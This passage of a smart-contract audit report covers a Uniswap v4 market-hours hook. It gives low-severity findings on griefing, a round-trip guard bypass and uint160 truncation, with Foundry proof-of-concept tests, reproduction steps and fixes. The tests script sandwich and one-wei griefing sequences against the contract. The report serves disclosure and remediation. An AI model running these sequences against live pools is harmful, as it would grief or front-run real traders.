    function test_launchEdgeBlockSandwichPassesTheBreaker() public {
        (, int24 t0,,) = manager.getSlot0(key.toId());
        console2.log("launch tick", int256(t0));
        console2.log("in-range liquidity at launch", uint256(manager.getLiquidity(key.toId())));
        (uint160 sp0,,,) = manager.getSlot0(key.toId());
        (bool ok1,) = _buy(attacker, 9_000e18);
        assertTrue(ok1, "front-run");
        (uint160 sp1,,,) = manager.getSlot0(key.toId());
        console2.log("price move by the front-run, bps", (uint256(sp0) * sp0 / sp1 * 10_000 / sp1) - 10_000);
        (bool ok, bytes memory e) = _buy(victim, 100e18);
        if (ok) {
            // the back-run from the attacker's second wallet, measured against the victim's checkpoint
            vm.prank(attacker2, attacker2);
            router.swap(key, IPoolManager.SwapParams(false, -1_000e18, TickMath.MAX_SQRT_PRICE - 1), PoolSwapTest.TestSettings(false, false), "");
            console2.log("victim bought at the moved price, back-run went through");
        }
        assertFalse(ok, "the victim's swap started far from the block's first price and still traded");
        assertTrue(_has(e, MarketHoursHook.PriceMoved.selector));
    }
}
```

### 4. Low: Residual cap is measured from the raw pool spot, which emergencyExit(1, 0) moves to MIN_TICK for free at the seed's edge while the market is closed, so the next bell's residual trades nothing

`src/MarketHoursHook.sol:1159`

```
                let c := div(shl(96, mload(0)), q)
```

unlockCallback computes the 120-bucket residual cap from the pool's own sqrt price read at the ring (lines 1149-1166), not from a price inside liquidity. At a launch whose price sits on the coin-only seed's lower edge (tick 0 in the harness), selling one wei of coin crosses the seed's lower tick into zero liquidity and the pool jumps to MIN_TICK at zero cost; emergencyExit has no minimum and is open while the market is closed, so a holder of one wei of coin can do this at any time before 11:50 (and a router sell at the edge during the session does the same for the closing bell). At the ring of a buy-heavy residual, c = spot x 1.4333 is far below P*'s fee-inward ceiling, so c replaces the limit (bit 2 set), the swap from MIN + 1 to c crosses no liquidity and trades nothing: residualFill = 0, the pool is left at tick -880,072, and the heavy side gets its escrow back with the unfilled fee waived (roundUp = 6). Without the wei the same book fills whole from the seed. Impact: griefing of fills for one wei plus gas, no loss of escrow, repeatable every day the spot sits at the seed's edge; the first session swap restores the spot for free. It is a different and cheaper mechanism than the accepted Part 4 (i) item. Fix: in unlockCallback read in-range liquidity as _breaker does and, when it is zero, measure the cap from the checkpointed price or the reference bucket r.a instead of the spot; or refuse an emergencyExit that trades nothing (spent == 0).

**Reproduction**

Harness: pool (coin, IMD) at tick 0, coin-only seed [0, 12000) with L = 1e23. Day D 01:00: trader places sell 10e18 coin at bucket 600 and buy 100e18 IMD at bucket 600 (self-matched pair, P* = 600, buy-heavy residual about 87 IMD). Honest: ringOpen at D 12:00 gives bells(2D).residualFill = 1000000000000000000, pool tick 17 after the bell. Griefed: at D 11:00 trader calls emergencyExit(1, 0): spent 0, got 0, wei refunded, pool tick -887272, in-range liquidity 0. ringOpen at D 12:00: expected the same residual fill; actual residualFill = 0, charges(2D).roundUp = 6, pool tick after the bell -880072. Run: forge test --match-path test/scratch/ExitGrief.t.sol (test_oneWeiExitStarvesTheResidual fails 'the residual traded nothing', the control passes).

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {MarketHoursHook} from "src/MarketHoursHook.sol";
import {MarketHoursCoin} from "src/MarketHoursCoin.sol";

/// The residual's 120-bucket cap is measured from the pool's raw sqrt price at the ring. While the market is closed,
/// emergencyExit(1, 0) at the coin-only seed's lower edge crosses into zero liquidity and parks the spot at MIN_TICK for
/// nothing. At the bell the cap (spot x 1.4333) is then far below P*'s limit, becomes the limit, and the residual swap
/// crosses no liquidity: residualFill 0 where the same book fills whole without the wei.
contract ExitGriefTest is Test {
    using PoolIdLibrary for PoolKey;
    using StateLibrary for IPoolManager;

    uint160 internal constant FLAGS = 0x2080;
    uint160 internal constant FLAG_MASK = 0x3FFF;
    uint256 internal constant OPEN = 43200;

    IPoolManager internal manager;
    MockERC20 internal imd;
    MarketHoursCoin internal coin;
    MarketHoursHook internal hook;
    PoolModifyLiquidityTest internal lp;
    PoolKey internal key;
    uint256 internal D;
    address internal trader = makeAddr("trader");

    function _create2At(bytes32 salt, bytes32 initHash) internal view returns (address) {
        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, initHash)))));
    }

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        lp = new PoolModifyLiquidityTest(manager);
        bytes32 hi = keccak256(abi.encodePacked(type(MockERC20).creationCode, abi.encode("Stand-in", "STAND", uint8(18))));
        uint256 i;
        while (_create2At(bytes32(i), hi) < address(uint160(0xD0) << 152)) ++i;
        imd = new MockERC20{salt: bytes32(i)}("Stand-in", "STAND", 18);
        bytes32 hc = keccak256(abi.encodePacked(type(MarketHoursCoin).creationCode, abi.encode("Test Coin", "TEST")));
        i = 0;
        while (_create2At(bytes32(i), hc) > address(imd)) ++i;
        coin = new MarketHoursCoin{salt: bytes32(i)}("Test Coin", "TEST");

        MarketHoursHook.Params memory p;
        p.manager = manager;
        p.factory = address(this);
        p.imd = address(imd);
        p.coin = address(coin);
        p.feeWallet = makeAddr("feeWallet");
        p.burnExecutor = makeAddr("burnExecutor");
        p.launchFees = makeAddr("launchFees");
        p.intake = makeAddr("intake");
        p.maxBlockMoveBps = 500;
        p.maxSwapImd = 10_000e18;
        p.networkBps = 2000;
        p.feeWalletBps = 2000;
        p.swarmFeeBps = 1000;
        p.burnBps = 4000;
        p.bellPurseBps = 1000;
        p.launchNumber = 7;
        bytes memory init = abi.encodePacked(type(MarketHoursHook).creationCode, abi.encode(p));
        bytes32 ih = keccak256(init);
        address at;
        bytes32 salt;
        for (i = 0; i < (1 << 22); ++i) {
            at = _create2At(bytes32(i), ih);
            if (uint160(at) & FLAG_MASK == FLAGS) {
                salt = bytes32(i);
                break;
            }
        }
        address deployed;
        assembly ("memory-safe") {
            deployed := create2(0, add(init, 0x20), mload(init), salt)
        }
        require(deployed == at && deployed != address(0), "hook deploy");
        hook = MarketHoursHook(deployed);

        // the launch: pool (coin, IMD) at tick 0, a coin-only seed over [0, 12000)
        key = PoolKey(Currency.wrap(address(coin)), Currency.wrap(address(imd)), 12_500, 60, IHooks(deployed));
        manager.initialize(key, TickMath.getSqrtPriceAtTick(0));
        coin.approve(address(lp), type(uint256).max);
        imd.approve(address(lp), type(uint256).max);
        lp.modifyLiquidity(key, IPoolManager.ModifyLiquidityParams(0, 12_000, int256(uint256(1e23)), 0), "");

        D = block.timestamp / 1 days + 1;
        imd.mint(trader, 1_000e18);
        coin.transfer(trader, 1_000e18);
        vm.startPrank(trader);
        imd.approve(address(hook), type(uint256).max);
        coin.approve(address(hook), type(uint256).max);
        vm.stopPrank();
    }

    function _tick() internal view returns (int24 t) {
        (, t,,) = manager.getSlot0(key.toId());
    }

    /// Book 2D: a self-matched pair at bucket 600 (P* = 600), buy-heavy, so about 87 IMD of residual buys from the seed.
    function _placePair() internal {
        vm.warp(D * 1 days + 1 hours);
        vm.startPrank(trader);
        hook.placeOrder(2 * D, false, 600, 10e18);
        hook.placeOrder(2 * D, true, 600, 100e18);
        vm.stopPrank();
    }

    /// CONTROL (passes): without the wei the residual fills whole from the seed.
    function test_control_honestResidualFillsWhole() public {
        _placePair();
        vm.warp(D * 1 days + OPEN);
        vm.roll(vm.getBlockNumber() + 1);
        hook.ringOpen();
        (,,,,, uint64 rf) = hook.bells(2 * D);
        console2.log("honest residualFill", uint256(rf));
        assertEq(rf, 1e18, "control: the residual fills whole");
    }

    /// DEFECT (fails now): emergencyExit(1, 0) at 11:00 parks the spot at MIN_TICK for free; the bell's residual trades
    /// nothing, the pool is left 120 buckets up inside the void, and the buyers get their IMD back unfilled.
    function test_oneWeiExitStarvesTheResidual() public {
        _placePair();
        vm.warp(D * 1 days + 11 hours);
        uint256 c0 = coin.balanceOf(trader);
        vm.prank(trader);
        hook.emergencyExit(1, 0);
        assertEq(coin.balanceOf(trader), c0, "the wei came back: nothing traded");
        console2.log("tick after the 1-wei exit", int256(_tick()));
        console2.log("in-range liquidity", uint256(manager.getLiquidity(key.toId())));
        assertEq(_tick(), TickMath.MIN_TICK, "precondition: the spot sits in the void");

        vm.warp(D * 1 days + OPEN);
        vm.roll(vm.getBlockNumber() + 1);
        hook.ringOpen();
        (int24 p,,,,, uint64 rf) = hook.bells(2 * D);
        (uint8 ru,) = hook.charges(2 * D);
        console2.log("pStar", int256(p));
        console2.log("residualFill", uint256(rf));
        console2.log("tick after the bell", int256(_tick()));
        console2.log("charges.roundUp", uint256(ru));
        assertGt(rf, 0, "the residual traded nothing: the cap was measured from a spot nobody can trade at");
    }
}
```

### 5. Low: Round-trip guard (fix (a)) holds against stranger spoofing but is opt-out for a signer with its own router: a reporting router on one leg and a plain router on the other, or one router rotating the re

`src/MarketHoursHook.sol:1079`

```
        bytes32 id = bytes32(uint256(uint160(tx.origin)));
```

Fix (a) keys the record on keccak256(abi.encode(router, reported)) when the router answers msgSender() with an address (lines 1088-1092) and on the signer's padded word otherwise (line 1079). The two keys for one and the same person are unrelated, so the stated rule 'one swap direction per identity per block' (README, hook comment) no longer binds a signer with two routers: leg 1 through a reporting router writes lastSwap[hash(router, signer)], leg 2 the other way through a non-reporting router (PoolSwapTest-style routers, most aggregators) reads lastSwap[signer word], empty, and goes through. In 4eb95e3 both legs keyed the signer's own address, so this particular trip was refused; the fix traded the stranger-spoof problem for it. Independently, any contract that is the swap's sender and answers msgSender() picks a fresh identity per swap (a ~40-line router), so the signer fallback never applies to it and the guard never fires; this escape also existed before the fix. Fix (a) does stop a router from spending another router's users' direction, which is what it set out to do. Impact: a bot's in-block back-run is then bounded only by the breaker and the size cap; the hook's own comment calls the guard a speed bump, not a wall, and no funds are at risk, hence low. Fix keeping the relayer intent: record and check both the signer word and the router-scoped key on every swap (the signer check is what bc64b98 did, the router-scoped check is what this commit added), accepting that a relayer's users share the signer key; or honour msgSender() only from an immutable allowlist of routers fixed in the constructor. Two specialists reported this (permissions: rotating router; flow: two routers); merged here.

**Reproduction**

Harness: pool (coin, IMD) at tick 0, seed [0, 12000), opening bell rung, next block, user is an EOA (tx.origin = user) approved to both routers. (A) vm.prank(user, user); ReportingRouter.swap(buy: zeroForOne = false, -100e18, MAX_SQRT_PRICE - 1) reporting user; then same block vm.prank(user, user); PoolSwapTest.swap(sell: zeroForOne = true, -50e18, MIN_SQRT_PRICE + 1). Expected: RoundTrip on leg 2. Actual: both legs trade. (B) Same router reporting 0x1111 on the buy and 0x2222 on the sell, same block, same signer. Expected RoundTrip; actual both trade. Control: both legs through PoolSwapTest in one block revert RoundTrip. Verified: forge test --match-path test/scratch/Judge.t.sol, tests test_roundTrip_twoRouters and test_roundTrip_rotatingRouter fail ('same signer round-tripped in one block ...'), test_roundTrip_control_sameRouterRefused passes.

### 6. Low: _feeInward truncates to uint160 for the grid's top two buckets (887,160 and 887,220), so a residual whose P* is there trades to the 120-bucket cap instead of stopping at P*

`src/MarketHoursHook.sol:1127`

```
        return uint160(zfo ? FullMath.mulDivRoundingUp(edge, Q96, FEE_ROOT_Q96) : FullMath.mulDiv(edge, FEE_ROOT_Q96, Q96));
```

For the price-down direction (zfo) the limit is ceil(edge x 2^96 / FEE_ROOT_Q96) = edge / 0.99373, then cast to uint160. MAX_SQRT_PRICE is 0.99993 x 2^160, so any edge above 0.99373 x 2^160 (any pool tick above about 887,147) produces a value >= 2^160 and the unchecked narrowing cast wraps. Buckets on the 60-grid in that range are 887,160 and 887,220; _heldBucket holds a reference to +/-875,220 and a band spans 200 buckets (12,000 ticks), so both are legal P* values. The truncated floor is far below the pool (ticks 740,565 and 775,053), so in unlockCallback the 120-bucket cap c = spot / 1.4333 is the nearer limit and replaces it: the residual sells 120 buckets (about 2.05x in price) below the spot instead of stopping where the fee-inclusive price equals P*, sets bit 2 so the unfilled part is fee-free, and residual sellers are paid min(imdToCoin(got), spent) < spent at P*, i.e. less than P* for the coin sold, which the comment at lines 1131-1133 promises never happens. The mirror edge is benign: for the price-up direction at bucket -887,220, edge x 0.99373 = 4,279,310,968 < MIN_SQRT_PRICE, so the pool answers PriceLimitAlreadyExceeded and nothing fills. Reaching this needs a checkpoint inside liquidity at a pool tick beyond +/-875,160, a coin priced near 1.0001^875,220 IMD or its inverse, so it is an edge-of-grid defect, not a practical attack. Fix: clamp the result to [MIN_SQRT_PRICE + 1, MAX_SQRT_PRICE - 1] before the cast and keep the cast checked, or hold the reference to 875,100 so no band bucket exceeds 887,100.

**Reproduction**

Pure arithmetic, verified in test/scratch/Judge.t.sol::test_feeInwardTruncation (logs): bucket 887,100: ceil(edge x 2^96 / FEE_ROOT_Q96) < 2^160, fits. Bucket 887,160: raised value >= 2^160; uint160 cast gives the sqrt price of tick 740,565. Bucket 887,220: truncated value is the sqrt price of tick 775,053. Bucket -887,220: lowered 4,279,310,968 < MIN_SQRT_PRICE 4,295,128,739. Expected: a floor just above the edge (edge / 0.99373, at most MAX_SQRT_PRICE - 1). Actual: a floor 112,000 to 147,000 ticks below the edge, so the cap, 7,200 ticks below spot, becomes the limit and the residual trades through P*.

---

Judge's submission `cd2311b76e2732484d02f4bed6682fadc2e359b1af4d4913772773b056bcd680`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
